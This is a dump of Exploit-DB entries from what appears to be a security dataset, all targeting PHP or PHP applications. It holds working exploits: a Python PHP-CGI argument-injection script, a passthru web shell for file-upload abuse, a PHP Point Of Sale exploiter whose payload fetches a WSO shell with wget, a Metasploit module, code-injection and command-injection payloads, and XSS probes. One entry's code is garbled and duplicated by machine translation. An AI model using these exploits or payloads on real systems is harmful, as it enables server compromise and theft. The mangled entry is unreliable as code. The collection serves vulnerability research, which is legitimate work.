deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33414
Description: PHP 5.2.11 - 'htmlspecialCharacters()' Malformed Multibyte Character Cross-Site Scripting (1)
Type: remote
Platform: php
Date: 2009-12-17
Author: hello@iwamot.com

Exploit:
source: https://www.securityfocus.com/bid/37389/info

PHP is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

NOTE: In some configurations, attackers may exploit this issue to carry out HTML-injection attacks.

Versions prior to PHP 5.2.12 are vulnerable. 

// overlong UTF-8 sequence
echo htmlspecialchars("A\xC0\xAF&",     ENT_QUOTES, 'UTF-8');
// invalid Shift_JIS sequence
echo htmlspecialchars("B\x80&",         ENT_QUOTES, 'Shift_JIS');
echo htmlspecialchars("C\x81\x7f&",     ENT_QUOTES, 'Shift_JIS');
// invalid EUC-JP sequence
echo htmlspecialchars("D\x80&",         ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("E\xA1\xFF&",     ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("F\x8E\xFF&",     ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("G\x8F\xA1\xFF&", ENT_QUOTES, 'EUC-JP');
Exploit-DB #33415
Description: PHP 5.2.11 - 'htmlspecialCharacters()' Malformed Multibyte Character Cross-Site Scripting (2)
Type: remote
Platform: php
Date: 2009-12-17
Author: hello@iwamot.com

Exploit:
source: https://www.securityfocus.com/bid/37389/info
 
PHP is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
 
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
NOTE: In some configurations, attackers may exploit this issue to carry out HTML-injection attacks.
 
Versions prior to PHP 5.2.12 are vulnerable. 

<? php

$ _GET [ &#039; a1 &#039; ] = " \xf0 "; // \xf0 - \xfc 縺ｧ蜿ｯ閭ｽ $ _GET [ &#039;A1&#039;] = "\ xf0"; / / \ xf0 - \ xfc possible
$ _GET [ &#039; a2 &#039; ] = "  href=dummy onmouseover=alert(document.title) dummy=dummy "; $ _GET [ &#039;A2&#039;] = "href = dummy onmouseover = alert (document.title) dummy = dummy";

header ( " Content-Type:text/html; charset=Shift_JIS " ) ; header ( "Content-Type: text / html; charset = Shift_JIS");
?> ? "
< html > <Html>
< head >< title > Shift_JIS test </ title ></ head > <Head> <title> Shift_JIS test </ title> </ head>
< body > <Body>
< p >< a <P> <a   title = " <?php echo htmlspecialchars ( $ _GET [ &#039; a1 &#039; ] , ENT_QUOTES, &#039; SJIS &#039; ) ?> " title = "<? php echo htmlspecialchars ($ _GET [ &#039;a1&#039;], ENT_QUOTES, &#039;SJIS&#039;)?>"   href = " <?php echo htmlspecialchars ( $ _GET [ &#039; a2 &#039; ] , ENT_QUOTES, &#039; SJIS &#039; ) ?> " > test </ a ></ p > href = "<? php echo htmlspecialchars ($ _GET [ &#039;a2&#039;], ENT_QUOTES, &#039;SJIS&#039;)?>"> test </ a> </ p>
</ body > </ Body>
</ html > </ Html>
Exploit-DB #10097
Description: PHP 5.2.11/5.3.0 - Multiple Vulnerabilities
Type: remote
Platform: php
Date: 2009-11-13
Author: Maksymilian Arciemowicz

Exploit:
<?php
/*
PHP 5.2.11/5.3.0 symlink() open_basedir bypass 
by Maksymilian Arciemowicz http://securityreason.com/
cxib [ a.T] securityreason [ d0t] com

CHUJWAMWMUZG
*/

$fakedir="cx";
$fakedep=16;

$num=0; // offset of symlink.$num

if(!empty($_GET['file'])) $file=$_GET['file'];
else if(!empty($_POST['file'])) $file=$_POST['file'];
else $file="";

echo '<PRE><img
src="http://securityreason.com/gfx/logo.gif?cx5211.php"><P>This is exploit
from <a
href="http://securityreason.com/" title="Security Audit PHP">Security Audit
Lab - SecurityReason</a> labs.
Author : Maksymilian Arciemowicz
<p>Script for legal use only.
<p>PHP 5.2.11 5.3.0 symlink open_basedir bypass
<p>More: <a href="http://securityreason.com/">SecurityReason</a>
<p><form name="form"
action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF
"]).'" method="post"><input type="text" name="file" size="50"
value="'.htmlspecialchars($file).'"><input type="submit" name="hym"
value="Create Symlink"></form>';

if(empty($file))
exit;

if(!is_writable("."))
die("not writable directory");

$level=0;

for($as=0;$as<$fakedep;$as++){
if(!file_exists($fakedir))
mkdir($fakedir);
chdir($fakedir);
}

while(1<$as--) chdir("..");

$hardstyle = explode("/", $file);

for($a=0;$a<count($hardstyle);$a++){
if(!empty($hardstyle[$a])){
if(!file_exists($hardstyle[$a])) 
mkdir($hardstyle[$a]);
chdir($hardstyle[$a]);
$as++;
}
}
$as++;
while($as--)
chdir("..");

@rmdir("fakesymlink");
@unlink("fakesymlink");

@symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");

// this loop will skip allready created symlinks.
while(1)
if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file,
"symlink".$num))) break;
else $num++;

@unlink("fakesymlink");
mkdir("fakesymlink");

die('<FONT COLOR="RED">check symlink <a
href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>');

?>
Exploit-DB #30130
Description: PHP 5.2.3 - EXT/Session HTTP Response Header Injection
Type: remote
Platform: php
Date: 2007-06-04
Author: Stefan Esser

Exploit:
source: https://www.securityfocus.com/bid/24268/info

PHP is prone to an HTTP-response-header-injection vulnerability because it fails to sanitize user-supplied input.

An attacker can exploit this issue to inject additional cookie attributes into session cookies. This may lead to other attacks.

This issue affects PHP 5.2.3 (and prior versions) and PHP 4.4.7 (and prior versions). 

http://www.example.com/session.php/PHPSESSID=ID;INJECTED=ATTRIBUTE;/
Exploit-DB #31053
Description: PHP 5.2.5 - cURL 'safe_mode' Security Bypass
Type: remote
Platform: php
Date: 2008-01-23
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/27413/info

PHP cURL is prone to a 'safe mode' security-bypass vulnerability.

Attackers can use this issue to gain access to restricted files, potentially obtaining sensitive information that may aid in further attacks.

The issue affects PHP 5.2.5 and 5.2.4. 

var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00&quot;.__FILE__)));
Exploit-DB #32416
Description: PHP 5.2.6 - 'create_function()' Code Injection (1)
Type: remote
Platform: php
Date: 2008-09-25
Author: 80sec

Exploit:
source: https://www.securityfocus.com/bid/31398/info

PHP is prone to a code-injection weakness because it fails to sufficiently sanitize input to 'create_function()'. Note that the anonymous function returned need not be called for the supplied code to be executed.

An attacker who can exploit this weakness will be able to execute code with the privileges of an additional vulnerable program.

This weakness is reported in PHP 5.2.6; other versions may also be affected. 

<?php
# call as test.php?sort_by="]);}phpinfo();/*
$sort_by=stripslashes($_GET[sort_by]);
$databases=array("test");
$sorter = 'var_dump';
$sort_function = ' return ' . ($sort_order == 'ASC' ? 1 : -1) . ' * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]); ';


usort($databases, create_function('$a, $b', $sort_function));

?>
Exploit-DB #32417
Description: PHP 5.2.6 - 'create_function()' Code Injection (2)
Type: remote
Platform: php
Date: 2008-09-25
Author: 80sec

Exploit:
source: https://www.securityfocus.com/bid/31398/info
 
PHP is prone to a code-injection weakness because it fails to sufficiently sanitize input to 'create_function()'. Note that the anonymous function returned need not be called for the supplied code to be executed.
 
An attacker who can exploit this weakness will be able to execute code with the privileges of an additional vulnerable program.
 
This weakness is reported in PHP 5.2.6; other versions may also be affected. 

<?php
$funstring = 'return -1 * var_dump($a[""]);}phpinfo();/*"]';
$unused = create_function('',$funstring);
?>
Exploit-DB #33920
Description: PHP 5.3 - 'PHP_dechunk()' HTTP Chunked Encoding Integer Overflow
Type: remote
Platform: php
Date: 2010-05-02
Author: Stefan Esser

Exploit:
source: https://www.securityfocus.com/bid/39877/info

PHP is prone to a remote integer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code in the context of the PHP process. Failed exploit attempts will result in a denial-of-service condition.

PHP 5.3.0 through 5.3.2 are vulnerable; other versions may also be affected.

<?php
$x = '0fffffffe

XXX';
file_put_contents("file:///tmp/test.dat",$x);
$y = file_get_contents('php://filter/read=dechunk/resource=file:///tmp/test.dat');
echo "here";
?>
Exploit-DB #10083
Description: PHP 5.3 - 'preg_match()' Full Path Disclosure
Type: remote
Platform: php
Date: 2009-09-27
Author: David Vieira-Kurz

Exploit:
[MajorSecurity Advisory #57]PHP <=5.3 - preg_match() full path disclosure

Details
=======
Product: PHP <=5.3
Security-Risk: moderated
Remote-Exploit: yes
Vendor-URL: http://www.php.net/
Vendor-Status: informed
Advisory-Status: published

Credits
============
Discovered by: David Vieira-Kurz
http://www.majorsecurity.info

Affected Products:
----------------------------
PHP 5.3 and prior
PHP 5.2.11 and prior

Original Advisory:
============
http://www.majorsecurity.info/index_2.php?major_rls=major_rls57

Introduction
============
"PHP is a widely-used general-purpose scripting language that is 
especially suited for Web development and can be embedded into HTML."
- from php.net

More Details
============
1. Full Path Disclosure
-----------------------------------
There is a full path disclosure vulnerability concerning the 
preg_match() php function which allow attackers to
gather the real path of the server side script.

The preg_match() PHP function takes strings as parameters and will raise 
warnings when values that are passed are arrays rather then strings.
To get the path of the current script, you simply need to pass the 
arguments as arrays rather then expected strings
and then simply read the warning message generated by PHP to see the 
error including the full path of the current running script.

Proof of concept:
http://localhost/cms/modules/system/admin.php?fct=users&op[]=

Warning: preg_match() expects parameter 2 to be string, array given in 
/htdocs/cms/include/common.php on line 105

Solution
================
I would NOT recommend to just react by "security through obscurity" and 
turn off the error messages, error reporting etc.
This is not a solution because there are a lot of users that are having 
a shared hosting server where they aren't able to manipulate
the "php.ini" configuration file - even ini_set() is forbidden on some 
shared hoster servers.
So they still would have the full path disclosure there.

Workaround
================
I would recommend to meticulously go through the code forcing PHP to 
cast the data to the desired type, in this case the (string) casts
to eliminate the Notice or Warning messages.

Example:
<?PHP
if(isset($_GET['page'])) {
if (is_array($page = $_GET['page'])) {

$casted = (string)$page;
} else {
$page = htmlspecialchars($_GET['page'],ENT_QUOTES,'UTF-8');
validate_alpha($page);
}
}
function validate_alpha($page) {
return preg_match("/^[A-Za-z0-9_-]+$/ ", $page);
} ?>

Vendor communication
================
The PHP Developer team has been informed that there is this vulnerability.

MajorSecurity
================
MajorSecurity is a German penetrationtesting and security research 
company which focuses on web application security. We offer professional 
penetrationtestings, security audits,
source code reviews and reliable proof of concepts.
You will find more Information about MajorSecurity at
http://www.majorsecurity.info/
Exploit-DB #37688
Description: PHP 5.3.11/5.4.0RC2 - 'header()' HTTP Header Injection
Type: remote
Platform: php
Date: 2011-10-06
Author: Mr. Tokumaru

Exploit:
source: https://www.securityfocus.com/bid/55297/info

PHP is prone to a vulnerability that allows attackers to inject arbitrary headers through a URL.

By inserting arbitrary headers, attackers may be able to launch cross-site request-forgery, cross-site scripting, HTML-injection, and other attacks.

PHP 5.1.2 is vulnerable; other versions may also be affected. 

<?php
header('Location: '.$_GET['url']);
print_r($_COOKIE);
?>

http://www.example.com/head1.php?url=http://example.com/head1.php%0DSet-Cookie:+NAME=foo
Exploit-DB #34950
Description: PHP 5.3.2 - 'xml_utf8_decode()' UTF-8 Input Validation
Type: remote
Platform: php
Date: 2009-05-11
Author: root@80sec.com

Exploit:
source: https://www.securityfocus.com/bid/44605/info

PHP is prone to a vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue can allow attackers to provide unexpected input and possibly bypass input-validation protection mechanisms. This can aid in further attacks that may utilize crafted user-supplied input.

Versions prior to PHP 5.3.4 are vulnerable.

<?php
$ill=chr(0xf0).chr(0xc0).chr(0xc0).chr(0xa7);
$ill=addslashes($ill);
echo utf8_decode("$ill");
echo htmlspecialchars ($ill,ENT_QUOTES,"utf-8" );
?>
Exploit-DB #35855
Description: PHP 5.3.6 - Security Bypass
Type: remote
Platform: php
Date: 2011-06-14
Author: Krzysztof Kotowicz

Exploit:
source: https://www.securityfocus.com/bid/48259/info

PHP is prone to a security-bypass vulnerability.

Successful exploits will allow an attacker to create arbitrary files from the root directory, which may aid in further attacks.

PHP 5.3.6 is vulnerable; other versions may also be affected.

HTTP Request:
====
POST /file-upload-fuzz/recv_dump.php HTTP/1.0
host: blog.security.localhost
content-type: multipart/form-data; boundary=----------ThIs_Is_tHe_bouNdaRY_$
content-length: 200

------------ThIs_Is_tHe_bouNdaRY_$
Content-Disposition: form-data; name="contents"; filename="/anything.here.slash-will-pass";
Content-Type: text/plain

any
------------ThIs_Is_tHe_bouNdaRY_$--

HTTP Response:
====
HTTP/1.1 200 OK
Date: Fri, 27 May 2011 11:35:08 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Content-Length: 30
Connection: close
Content-Type: text/html

/anything.here.slash-will-pass

PHP script:
=====
<?php
if (!empty($_FILES['contents'])) {  // process file upload
    echo $_FILES['contents']['name'];
    unlink($_FILES['contents']['tmp_name']);
}
Exploit-DB #34979
Description: PHP 5.3.x - 'mb_strcut()' Information Disclosure
Type: remote
Platform: php
Date: 2010-11-07
Author: Mateusz Kocielski

Exploit:
# source: https://www.securityfocus.com/bid/44727/info
#
# PHP is prone to an information-disclosure vulnerability.
#
# Attackers can exploit this issue to obtain sensitive information that may lead to further attacks. 
#

<?php
$b = "bbbbbbbbbbb";
str_repeat("THIS IS A SECRET MESSAGE, ISN'T IT?", 1);
$var3 = mb_strcut($b, 0, 1000);
echo $var3;
?>
Exploit-DB #33988
Description: PHP 5.3.x < 5.3.2 - 'ext/phar/stream.c' / 'ext/phar/dirstream.c' Multiple Format String Vulnerabilities
Type: remote
Platform: php
Date: 2010-05-14
Author: Stefan Esser

Exploit:
source: https://www.securityfocus.com/bid/40173/info


PHP is prone to multiple format-string vulnerabilities because it fails to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function.

Attackers can exploit these issues to run arbitrary code within the context of the PHP process. This may allow them to bypass intended security restrictions or gain elevated privileges.

PHP 5.3 through 5.3.2 are vulnerable. 

$ php -r "fopen('phar:///usr/bin/phar.phar/*%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x','r');"
Exploit-DB #18836
Description: PHP < 5.3.12 / < 5.4.2 - CGI Argument Injection
Type: remote
Platform: php
Date: 2012-05-05
Author: rayh4c

Exploit:
######################################################################################
# Exploit Title: Cve-2012-1823 PHP CGI Argument Injection Exploit
# Date: May 4, 2012
# Author: rayh4c[0x40]80sec[0x2e]com
# Exploit Discovered by wofeiwo[0x40]80sec[0x2e]com
######################################################################################

import socket
import sys

def cgi_exploit():
        pwn_code = """<?php phpinfo();?>""" 
        post_Length = len(pwn_code)
        http_raw="""POST /?-dallow_url_include%%3don+-dauto_prepend_file%%3dphp://input HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s
""" %(HOST , post_Length ,pwn_code)
        print http_raw
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((HOST, int(PORT)))
            sock.send(http_raw)
            data = sock.recv(10000)
            print repr(data)
            sock.close()
        except socket.error, msg:
            sys.stderr.write("[ERROR] %s\n" % msg[1])
            sys.exit(1)
               
if __name__ == '__main__':
        try:
            HOST = sys.argv[1]
            PORT = sys.argv[2]
            cgi_exploit()
        except IndexError:
            print '[+]Usage: cgi_test.py site.com 80'
            sys.exit(-1)
Exploit-DB #25627
Description: PHP Advanced Transfer Manager 1.21 - Arbitrary File Upload
Type: remote
Platform: php
Date: 2005-05-06
Author: tjomi4

Exploit:
source: https://www.securityfocus.com/bid/13542/info

PHP Advanced Transfer Manager is prone to a vulnerability regarding the uploading of arbitrary files.

If successfully exploited, an attacker can execute arbitrary script code on a vulnerable server. This can lead to unauthorized access in the context of the affected server.

This issue reportedly affects PHP Advanced Transfer Manager version 1.21; earlier versions may also be vulnerable. 

Create file:
nst.php.ns

<pre>
<?
passthru($_GET['nst']);
?>

Then upload, and go to http://www.example.com/files/nst.php.ns?nst=ls -la

or

<?
passthru($_GET['nst']);
?>

Then upload, and go to http://example.com/files/nst.php.ns?nst=http://your/file.txt
Exploit-DB #38809
Description: PHP Point Of Sale - 'ofc_upload_image.php' Remote Code Execution
Type: remote
Platform: php
Date: 2013-10-18
Author: Gabby

Exploit:
source: https://www.securityfocus.com/bid/63219/info

PHP Point Of Sale is prone to a remote code-execution vulnerability.

An attacker can exploit this issue to execute arbitrary code in context of the application. Failed exploits may result in denial-of-service conditions. 

<?php   
$options = getopt('t:n:'); 
if(!isset($options['t'], $options['n'])) 
die("\n      [+] Simple Exploiter Point Of Sale by Gabby [+] \n Usage : php sale.php -t http://example.com -n bie.php\n 
-t http://example.com   = Target mu ..
-n bie.php             = Nama file yang mau kamu pakai...\n\n");  
   
$target =  $options['t']; 
$nama   =  $options['n']; 
$shell  = "{$target}/application/libraries/tmp-upload-images/{$nama}"; 
$target = "{$target}/application/libraries/ofc-library/ofc_upload_image.php?name={$nama}"; 
$data   = '<?php 
 system("wget http://www.example.com/wso.txt; mv wso.txt bie.php");
 fclose ( $handle ); 
 ?>'; 
$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1', 
'Content-Type: text/plain'); 
echo "=============================================== \n"; 
echo ":   Simple Exploiter Point Of Sale by Gabby   :\n"; 
echo "=============================================== \n\n"; 
echo "[+] Upload Shell ke : {$options['t']}\n"; 
$handle = curl_init(); 
curl_setopt($handle, CURLOPT_URL, $target); 
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers); 
curl_setopt($handle, CURLOPT_POSTFIELDS, $data); 
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true); 
$source = curl_exec($handle); 
curl_close($handle); 
if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r')) 
{ 
echo "[+] Exploit Sukses,.. :D\n"; 
echo "[+] {$shell}\n"; 
} 
else
{ 
die("[-] Exploit Gagal,.. :(\n"); 
} 
  
?>
Exploit-DB #39554
Description: PHP Utility Belt - Remote Code Execution (Metasploit)
Type: remote
Platform: php
Date: 2016-03-11
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PHP Utility Belt Remote Code Execution',
      'Description'    => %q{
         This module exploits a remote code execution vulnerability in PHP Utility Belt,
         which is a set of tools for PHP developers and should not be installed in a
         production environment, since this application runs arbitrary PHP code as an
         intended functionality.
      },
      'Author'         =>
        [
          'WICS',     # initial discovery
          'Jay Turla' # msf
        ],
      'References'     =>
        [
          ['EDB', '38901'],
          ['URL', 'https://github.com/mboynes/php-utility-belt'] # Official Repo
        ],
      'DisclosureDate' => 'Aug 12 2015',
      'License'        => MSF_LICENSE,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 2000,
          'DisableNops' => true
        },
      'Targets'        =>
        [
          ['PHP Utility Belt', {}]
        ],
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to PHP Utility Belt', '/php-utility-belt/ajax.php'])
      ], self.class)
  end

  def check
    txt = Rex::Text.rand_text_alpha(8)
    res = http_send_command("echo #{txt};")

    if res && res.body.include?(txt)
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    http_send_command(payload.encoded)
  end

  def http_send_command(cmd)
    send_request_cgi(
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path),
      'vars_post' => {
        'code' => cmd
      }
    )
  end

end
Exploit-DB #21155
Description: PHP-Nuke Network Tool 0.2 Addon - MetaCharacter Filtering Command Execution
Type: remote
Platform: php
Date: 2001-11-16
Author: Cabezon AurÃ©lien

Exploit:
source: https://www.securityfocus.com/bid/3552/info

Network Tool is a PHPNuke addon, written and maintained by Rick Fournier. It is designed to offer network features such as nmap, traceroute, and ping from a web interface.

A problem with the package has been discovered that could allow remote users to gain arbitrary access to restricted resources. The problem is in the filtering of metacharacters by the interface. A command passed to the modules in the suite could be encapsulated in metacharacters, and would result in the command being executed on the system with the permissions of the httpd process.

This makes it possible for a remote user to execute arbitrary commands, and potentially gain access to a vulnerable host. 

Asking the Php script for Pinging, Nmap, or traceroute this kind of adresse
<www.somehost.com;ls -al> will allow any user to run " ls -al " command as whatever user runs the web server.